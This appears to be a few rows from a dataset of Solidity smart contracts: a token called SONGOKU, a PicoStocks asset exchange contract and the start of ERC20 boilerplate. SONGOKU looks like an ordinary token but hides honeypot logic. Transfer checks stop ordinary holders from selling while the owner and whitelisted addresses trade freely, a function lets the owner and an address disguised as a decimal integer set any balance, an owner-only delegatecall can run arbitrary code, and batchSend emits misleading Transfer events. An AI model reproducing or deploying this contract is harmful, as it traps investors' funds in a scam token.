function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SONGOKU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,876 |
pragma solidity ^0.5.0;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
uint public totalSupply;
address public owner;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
function commitDividend(address who) public;
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
struct User {
uint120 tokens;
uint120 asks;
uint120 votes;
uint120 weis;
uint32 lastProposalID;
address owner;
uint8 voted;
}
mapping (address => User) users;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
commitDividend(msg.sender);
users[msg.sender].tokens = uint120(uint(users[msg.sender].tokens).sub(_value));
if(_to == address(this)) {
commitDividend(owner);
users[owner].tokens = uint120(uint(users[owner].tokens).add(_value));
emit Transfer(msg.sender, owner, _value);
}
else {
commitDividend(_to);
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(msg.sender, _to, _value);
}
}
function balanceOf(address _owner) public view returns (uint) {
return uint(users[_owner].tokens);
}
function askOf(address _owner) public view returns (uint) {
return uint(users[_owner].asks);
}
function voteOf(address _owner) public view returns (uint) {
return uint(users[_owner].votes);
}
function weiOf(address _owner) public view returns (uint) {
return uint(users[_owner].weis);
}
function lastOf(address _owner) public view returns (uint) {
return uint(users[_owner].lastProposalID);
}
function ownerOf(address _owner) public view returns (address) {
return users[_owner].owner;
}
function votedOf(address _owner) public view returns (uint) {
return uint(users[_owner].voted);
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
commitDividend(_from);
commitDividend(_to);
allowed[_from][msg.sender] = _allowance.sub(_value);
users[_from].tokens = uint120(uint(users[_from].tokens).sub(_value));
users[_to].tokens = uint120(uint(users[_to].tokens).add(_value));
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PicoStocksAsset is StandardToken {
string public constant version = "0.2";
string public constant name = "PicoStocks Asset";
uint public constant decimals = 0;
uint public picoid = 0;
string public symbol = "";
string public www = "";
uint public totalWeis = 0;
uint public totalVotes = 0;
struct Order {
uint64 prev;
uint64 next;
uint128 price;
uint96 amount;
address who;
}
mapping (uint => Order) asks;
mapping (uint => Order) bids;
uint64 firstask=0;
uint64 lastask=0;
uint64 firstbid=0;
uint64 lastbid=0;
uint constant weekBlocks = 4*60*24*7;
uint constant minPrice = 0xFFFF;
uint constant maxPrice = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint constant maxTokens = 0xFFFFFFFFFFFFFFFFFFFFFFFF;
address public custodian = 0xd720a4768CACE6d508d8B390471d83BA3aE6dD32;
uint public investOwner;
uint public investPrice;
uint public investStart;
uint public investEnd;
uint public investGot;
uint public investMin;
uint public investMax;
uint public investKYC = 1;
uint[] public dividends;
uint public proposalID = 1;
uint public proposalVotesYes;
uint public proposalVotesNo;
uint public proposalBlock;
uint public proposalDividendPerShare;
uint public proposalBudget;
uint public proposalTokens;
uint public proposalPrice;
uint public acceptedBudget;
mapping (address => uint) owners;
event LogBuy(address indexed who, uint amount, uint price);
event LogSell(address indexed who, uint amount, uint price);
event LogCancelBuy(address indexed who, uint amount, uint price);
event LogCancelSell(address indexed who, uint amount, uint price);
event LogTransaction(address indexed from, address indexed to, uint amount, uint price);
event LogDeposit(address indexed who,uint amount);
event LogWithdraw(address indexed who,uint amount);
event LogExec(address indexed who,uint amount);
event LogPayment(address indexed who, address from, uint amount);
event LogDividend(uint amount);
event LogDividend(address indexed who, uint amount, uint period);
event LogNextInvestment(uint price,uint amount);
event LogNewOwner(address indexed who);
event LogNewCustodian(address indexed who);
event LogNewWww(string www);
event LogProposal(uint dividendpershare,uint budget,uint moretokens,uint minprice);
event LogVotes(uint proposalVotesYes,uint proposalVotesNo);
event LogBudget(uint proposalBudget);
event LogAccepted(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
event LogRejected(uint proposalDividendPerShare,uint proposalBudget,uint proposalTokens,uint proposalPrice);
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setFirstInvestPeriod(uint _tokens,uint _budget,uint _price,uint _from,uint _length,uint _min,uint _max,uint _kyc,uint _picoid,string memory _symbol) public onlyOwner {
require(investEnd == 0 && _price < maxPrice && _length <= weekBlocks * 12 && _min <= _max && _tokens.add(_max) < maxTokens );
investOwner = _tokens;
acceptedBudget = _budget;
users[owner].lastProposalID = uint32(proposalID);
users[custodian].lastProposalID = uint32(proposalID);
if(_price <= minPrice){
_price = minPrice+1;
}
investPrice = _price;
if(_from < block.number){
_from = block.number;
}
investStart = _from;
if(_length == 0){
_length = weekBlocks * 4;
}
investEnd = _from + _length;
investMin = _min;
investMax = _max;
investKYC = _kyc;
picoid = _picoid;
symbol = _symbol;
dividends.push(0);
dividends.push(0);
if(investMax == 0){
closeInvestPeriod();
}
}
function acceptKYC(address _who) external onlyOwner {
if(users[_who].lastProposalID==0){
users[_who].lastProposalID=1;
}
}
function invest() payable public {
commitDividend(msg.sender);
require(msg.value > 0 && block.number >= investStart && block.number < investEnd && totalSupply < investMax && investPrice > 0);
uint tokens = msg.value / investPrice;
if(investMax < totalSupply.add(tokens)){
tokens = investMax.sub(totalSupply);
}
totalSupply += tokens;
users[msg.sender].tokens += uint120(tokens);
emit Transfer(address(0),msg.sender,tokens);
uint _value = msg.value.sub(tokens * investPrice);
if(_value > 0){
emit LogWithdraw(msg.sender,_value);
(bool success, ) = msg.sender.call.value(_value)("");
require(success);
}
if(totalSupply>=investMax){
closeInvestPeriod();
}
}
function () payable external {
invest();
}
function disinvest() public {
require(investEnd < block.number && totalSupply < investMin && totalSupply>0 && proposalID > 1);
payDividend((address(this).balance-totalWeis)/totalSupply);
investEnd = block.number + weekBlocks*4;
}
function propose(uint _dividendpershare,uint _budget,uint _tokens,uint _price) external onlyOwner {
require(proposalBlock + weekBlocks*4 < block.number && investEnd < block.number && proposalID > 1);
if(block.number>investEnd && investStart>0 && investPrice>0 && investMax>0){
totalVotes=totalSupply;
investStart=0;
investMax=0;
}
proposalVotesYes=0;
proposalVotesNo=0;
proposalID++;
dividends.push(0);
proposalBlock=block.number;
proposalDividendPerShare=_dividendpershare;
proposalBudget=_budget;
proposalTokens=_tokens;
proposalPrice=_price;
emit LogProposal(_dividendpershare,_budget,_tokens,_price);
}
function executeProposal() public {
require(proposalVotesYes > 0 && (proposalBlock + weekBlocks*4 < block.number || proposalVotesYes>totalVotes/2 || proposalVotesNo>totalVotes/2) && proposalID > 1);
emit LogVotes(proposalVotesYes,proposalVotesNo);
if(proposalVotesYes >= proposalVotesNo && (proposalTokens==0 || proposalPrice>=investPrice || proposalVotesYes>totalVotes/2)){
if(payDividend(proposalDividendPerShare) > 0){
emit LogBudget(proposalBudget);
acceptedBudget=proposalBudget;}
if(proposalTokens>0){
emit LogNextInvestment(proposalPrice,proposalTokens);
setNextInvestPeriod(proposalPrice,proposalTokens);}
emit LogAccepted(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
else{
emit LogRejected(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
proposalBlock=0;
proposalVotesYes=0;
proposalVotesNo=0;
proposalDividendPerShare=0;
proposalBudget=0;
proposalTokens=0;
proposalPrice=0;
}
function setNextInvestPeriod(uint _price,uint _tokens) internal {
require(totalSupply >= investMin && _price > 0 && _price < maxPrice && totalSupply + _tokens < 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
investStart = block.number + weekBlocks*2;
investEnd = block.number + weekBlocks*4;
investPrice = _price;
investMax = totalSupply + _tokens;
investKYC=0;
}
function closeInvestPeriod() public {
require((block.number>investEnd || totalSupply>=investMax) && investStart>0);
if(proposalID == 1){
totalSupply += investOwner;
users[owner].tokens += uint120(investOwner);
if(totalSupply == 0){
totalSupply = 1;
users[owner].tokens = 1;
}
}
proposalID++;
dividends.push(0);
totalVotes=totalSupply;
investStart=0;
investMax=0;
investKYC=0;
}
function payDividend(uint _wei) internal returns (uint) {
if(_wei == 0){
return 1;}
uint newdividend = _wei * totalSupply;
require(newdividend / _wei == totalSupply);
if(address(this).balance < newdividend.add(totalWeis)){
emit LogDividend(0);
return 0;}
totalWeis += newdividend;
dividends[proposalID] = _wei;
proposalID++;
dividends.push(0);
totalVotes=totalSupply;
emit LogDividend(_wei);
return(_wei);
}
function commitDividend(address _who) public {
uint last = users[_who].lastProposalID;
require(investKYC==0 || last>0);
uint tokens=users[_who].tokens+users[_who].asks;
if((tokens==0) || (last==0)){
users[_who].lastProposalID=uint32(proposalID);
return;
}
if(last==proposalID) {
return;
}
if(tokens != users[_who].votes){
if(users[_who].owner != address(0)){
owners[users[_who].owner] = owners[users[_who].owner].add(tokens).sub(uint(users[_who].votes));
}
users[_who].votes=uint120(tokens);
}
uint balance = 0;
for(; last < proposalID ; last ++) {
balance += tokens * dividends[last];
}
users[_who].weis += uint120(balance);
users[_who].lastProposalID = uint32(last);
users[_who].voted=0;
emit LogDividend(_who,balance,last);
}
function changeOwner(address _who) external onlyOwner {
assert(_who != address(0));
owner = _who;
emit LogNewOwner(_who);
}
function changeWww(string calldata _www) external onlyOwner {
www=_www;
emit LogNewWww(_www);
}
function changeCustodian(address _who) external {
assert(msg.sender == custodian);
assert(_who != address(0));
custodian = _who;
emit LogNewCustodian(_who);
}
function exec(address _to,bytes calldata _data) payable external onlyOwner {
emit LogExec(_to,msg.value);
(bool success, ) =_to.call.value(msg.value)(_data);
require(success);
}
function spend(uint _amount,address _who) external onlyOwner {
require(_amount > 0 && address(this).balance >= _amount.add(totalWeis) && totalSupply >= investMin);
acceptedBudget=acceptedBudget.sub(_amount);
if(_who == address(0)){
emit LogWithdraw(msg.sender,_amount);
(bool success, ) = msg.sender.call.value(_amount)("");
require(success);}
else{
emit LogWithdraw(_who,_amount);
(bool success, ) = _who.call.value(_amount)("");
require(success);}
}
function voteOwner(address _who) external {
require(_who != users[msg.sender].owner);
if(users[msg.sender].owner != address(0)){
owners[users[msg.sender].owner] = owners[users[msg.sender].owner].sub(users[msg.sender].votes);
}
users[msg.sender].owner=_who;
if(_who != address(0)){
owners[_who] = owners[_who].add(users[msg.sender].votes);
if(owners[_who] > totalVotes/2 && _who != owner){
owner = _who;
emit LogNewOwner(_who);
}
}
}
function voteYes() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesYes+=users[msg.sender].votes;
}
function voteNo() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesNo+=users[msg.sender].votes;
}
function voteYes(uint _id) external {
require(proposalID==_id);
voteYes();
}
function voteNo(uint _id) external {
require(proposalID==_id);
voteNo();
}
function deposit() payable external {
commitDividend(msg.sender);
users[msg.sender].weis += uint120(msg.value);
totalWeis += msg.value;
emit LogDeposit(msg.sender,msg.value);
}
function withdraw(uint _amount) external {
commitDividend(msg.sender);
uint amount=_amount;
if(amount > 0){
require(users[msg.sender].weis >= amount);
}
else{
require(users[msg.sender].weis > 0);
amount=users[msg.sender].weis;
}
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(amount));
totalWeis = totalWeis.sub(amount);
emit LogWithdraw(msg.sender,amount);
(bool success, ) = msg.sender.call.value(amount)("");
require(success);
}
function wire(uint _amount,address _who) external {
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(_amount));
users[_who].weis = uint120(uint(users[_who].weis).add(_amount));
}
function pay(address _who) payable external {
emit LogPayment(_who,msg.sender,msg.value);
}
function ordersSell(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstask;
uint id=0;
for(;asks[num].price>0 && id<64;num=uint(asks[num].next)){
if(_who!=address(0) && _who!=asks[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(asks[num].price);
ret[4*id+2]=uint(asks[num].amount);
ret[4*id+3]=uint(asks[num].who);
id++;}
return ret;
}
function ordersBuy(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstbid;
uint id=0;
for(;bids[num].price>0 && id<64;num=uint(bids[num].next)){
if(_who!=address(0) && _who!=bids[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(bids[num].price);
ret[4*id+2]=uint(bids[num].amount);
ret[4*id+3]=uint(bids[num].who);
id++;}
return ret;
}
function findSell(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstask;
for(;asks[num].price>0;num=asks[num].next){
if(_maxprice > 0 && asks[num].price > _maxprice){
return 0;}
if(_minprice > 0 && asks[num].price < _minprice){
continue;}
if(_who == asks[num].who){
return num;}}
}
function findBuy(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstbid;
for(;bids[num].price>0;num=bids[num].next){
if(_minprice > 0 && bids[num].price < _minprice){
return 0;}
if(_maxprice > 0 && bids[num].price > _maxprice){
continue;}
if(_who == bids[num].who){
return num;}}
}
function whoSell(uint _id) external view returns (address) {
if(_id>0){
return address(asks[_id].who);
}
return address(asks[firstask].who);
}
function whoBuy(uint _id) external view returns (address) {
if(_id>0){
return address(bids[_id].who);
}
return address(bids[firstbid].who);
}
function amountSell(uint _id) external view returns (uint) {
if(_id>0){
return uint(asks[_id].amount);
}
return uint(asks[firstask].amount);
}
function amountBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].amount);
}
return uint(bids[firstbid].amount);
}
function priceSell(uint _id) external view returns (uint) {
if(_id>0){
return uint(asks[_id].price);
}
return uint(asks[firstask].price);
}
function priceBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].price);
}
return uint(bids[firstbid].price);
}
function cancelSell(uint _id) external {
require(asks[_id].price>0 && asks[_id].who==msg.sender);
users[msg.sender].tokens=uint120(uint(users[msg.sender].tokens).add(asks[_id].amount));
users[msg.sender].asks=uint120(uint(users[msg.sender].asks).sub(asks[_id].amount));
if(asks[_id].prev>0){
asks[asks[_id].prev].next=asks[_id].next;}
else{
firstask=asks[_id].next;}
if(asks[_id].next>0){
asks[asks[_id].next].prev=asks[_id].prev;}
emit LogCancelSell(msg.sender,asks[_id].amount,asks[_id].price);
delete(asks[_id]);
}
function cancelBuy(uint _id) external {
require(bids[_id].price>0 && bids[_id].who==msg.sender);
uint value=bids[_id].amount*bids[_id].price;
users[msg.sender].weis+=uint120(value);
if(bids[_id].prev>0){
bids[bids[_id].prev].next=bids[_id].next;}
else{
firstbid=bids[_id].next;}
if(bids[_id].next>0){
bids[bids[_id].next].prev=bids[_id].prev;}
emit LogCancelBuy(msg.sender,bids[_id].amount,bids[_id].price);
delete(bids[_id]);
}
function sell(uint _amount, uint _price) external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _amount <= users[msg.sender].tokens);
commitDividend(msg.sender);
users[msg.sender].tokens-=uint120(_amount);
uint funds=0;
uint amount=_amount;
for(;bids[firstbid].price>0 && bids[firstbid].price>=_price;){
uint value=uint(bids[firstbid].price)*uint(bids[firstbid].amount);
uint fee=value >> 9;
if(amount>=bids[firstbid].amount){
amount=amount.sub(uint(bids[firstbid].amount));
commitDividend(bids[firstbid].who);
emit LogTransaction(msg.sender,bids[firstbid].who,bids[firstbid].amount,bids[firstbid].price);
funds=funds.add(value-fee-fee);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
users[bids[firstbid].who].tokens+=bids[firstbid].amount;
uint64 next=bids[firstbid].next;
delete bids[firstbid];
firstbid=next;
if(amount==0){
break;}
continue;}
value=amount*uint(bids[firstbid].price);
fee=value >> 9;
commitDividend(bids[firstbid].who);
funds=funds.add(value-fee-fee);
emit LogTransaction(msg.sender,bids[firstbid].who,amount,bids[firstbid].price);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
bids[firstbid].amount=uint96(uint(bids[firstbid].amount).sub(amount));
require(bids[firstbid].amount>0);
users[bids[firstbid].who].tokens+=uint120(amount);
bids[firstbid].prev=0;
totalWeis=totalWeis.sub(funds);
(bool success, ) = msg.sender.call.value(funds)("");
require(success);
return;}
if(firstbid>0){
bids[firstbid].prev=0;}
if(amount>0){
uint64 ask=firstask;
uint64 last=0;
for(;asks[ask].price>0 && asks[ask].price<=_price;ask=asks[ask].next){
last=ask;}
lastask++;
asks[lastask].prev=last;
asks[lastask].next=ask;
asks[lastask].price=uint128(_price);
asks[lastask].amount=uint96(amount);
asks[lastask].who=msg.sender;
users[msg.sender].asks+=uint120(amount);
emit LogSell(msg.sender,amount,_price);
if(last>0){
asks[last].next=lastask;}
else{
firstask=lastask;}
if(ask>0){
asks[ask].prev=lastask;}}
if(funds>0){
totalWeis=totalWeis.sub(funds);
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
}
function buy(uint _amount, uint _price) payable external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _price <= msg.value);
commitDividend(msg.sender);
uint funds=msg.value;
uint amount=_amount;
uint value;
for(;asks[firstask].price>0 && asks[firstask].price<=_price;){
value=uint(asks[firstask].price)*uint(asks[firstask].amount);
uint fee=value >> 9;
if(funds>=value+fee+fee && amount>=asks[firstask].amount){
amount=amount.sub(uint(asks[firstask].amount));
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,asks[firstask].amount,asks[firstask].price);
users[asks[firstask].who].asks-=asks[firstask].amount;
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
users[msg.sender].tokens+=asks[firstask].amount;
uint64 next=asks[firstask].next;
delete asks[firstask];
firstask=next;
if(funds<asks[firstask].price){
break;}
continue;}
if(amount>asks[firstask].amount){
amount=asks[firstask].amount;}
if((funds-(funds>>8))<amount*asks[firstask].price){
amount=(funds-(funds>>8))/asks[firstask].price;}
if(amount>0){
value=amount*uint(asks[firstask].price);
fee=value >> 9;
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,amount,asks[firstask].price);
users[asks[firstask].who].asks-=uint120(amount);
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
asks[firstask].amount=uint96(uint(asks[firstask].amount).sub(amount));
require(asks[firstask].amount>0);
users[msg.sender].tokens+=uint120(amount);}
asks[firstask].prev=0;
if(funds>0){
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
return;}
if(firstask>0){
asks[firstask].prev=0;}
if(amount>funds/_price){
amount=funds/_price;}
if(amount>0){
uint64 bid=firstbid;
uint64 last=0;
for(;bids[bid].price>0 && bids[bid].price>=_price;bid=bids[bid].next){
last=bid;}
lastbid++;
bids[lastbid].prev=last;
bids[lastbid].next=bid;
bids[lastbid].price=uint128(_price);
bids[lastbid].amount=uint96(amount);
bids[lastbid].who=msg.sender;
value=amount*_price;
totalWeis=totalWeis.add(value);
funds=funds.sub(value);
emit LogBuy(msg.sender,amount,_price);
if(last>0){
bids[last].next=lastbid;}
else{
firstbid=lastbid;}
if(bid>0){
bids[bid].prev=lastbid;}}
if(funds>0){
(bool success, ) = msg.sender.call.value(funds)("");
require(success);}
}
} | 0 | 1,691 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
